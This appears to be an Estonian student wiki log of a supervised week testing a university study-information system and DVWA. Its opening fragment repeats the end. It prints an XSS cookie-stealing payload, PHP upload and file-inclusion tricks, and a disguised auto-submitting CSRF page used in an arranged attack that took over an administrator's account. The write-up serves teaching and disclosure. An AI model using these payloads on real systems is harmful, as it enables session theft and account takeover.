The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T13:46:36Z

Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Matise esitlus [[Media:"Insecure Cryptographic Storage.pdf"]] <br>
Matise esitlus [[Media:"Security Misconfiguration.pdf"]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T13:46:00Z

